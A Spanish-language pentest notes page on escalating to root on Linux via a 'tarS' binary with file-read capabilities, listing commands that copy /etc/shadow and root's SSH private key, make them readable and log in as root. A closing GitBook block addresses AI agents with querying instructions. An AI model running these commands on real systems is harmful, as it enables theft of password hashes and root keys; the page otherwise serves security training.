> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md).

# Capacidades (tarS) - Escalada de privilegios en Linux

## Qué es

Las capacidades de Linux dividen los privilegios de root en derechos granulares que pueden asignarse a binarios. Capacidades peligrosas como `cap_setuid+ep`, `cap_dac_read_search+ep`, o las capacidades de escritura de archivos pueden eludir las restricciones normales de un usuario. Esta página específica se centra en un binario con capacidades habilitadas **tarS** binario y mantiene el flujo de explotación práctico: identifica la condición, valídala de forma segura y luego ejecuta la carga útil más pequeña necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
getcap -r / 2>/dev/null
```

## Ejemplos

## Escalada de privilegios (capacidades)

```bash
getcap -r / 2>/dev/null
```

Utilice `getcap` para enumerar las capacidades de los archivos. Identifica binarios que pueden leer archivos fuera de los permisos normales del usuario actual.

<figure><img src="/files/bac4b7cfceb77e068018e6f3a215c23a6da7b93f" alt=""><figcaption></figcaption></figure>

**Capturar `/etc/shadow` con tarS**

Crea un archivo comprimido que contenga `/etc/shadow`:

```bash
tarS -cvf shadow.tar /etc/shadow
```

Extrae el archivo comprimido en `/tmp`, luego relaja los permisos del archivo copiado para que pueda leerse:

```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```

<figure><img src="/files/db483056b474242e053cbb56002afe89d14092eb" alt=""><figcaption></figcaption></figure>

**Captura la clave privada SSH de root con tarS**

Captura la clave privada .ssh del usuario root con el siguiente comando:

```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```

<figure><img src="/files/5306b7b5b6b99a62bb86758a13dd7fc0bfae71e1" alt=""><figcaption></figcaption></figure>

**Conexión SSH con la clave privada capturada:**

Usa la clave privada capturada para establecer una conexión SSH con el usuario root en la máquina local.

```bash
ssh -i id_rsa root@localhost -p 2082
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
